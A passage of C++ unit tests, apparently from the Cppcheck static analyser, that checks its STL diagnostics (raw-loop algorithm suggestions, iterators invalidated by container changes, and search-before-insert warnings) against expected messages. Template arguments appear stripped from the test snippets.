{\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 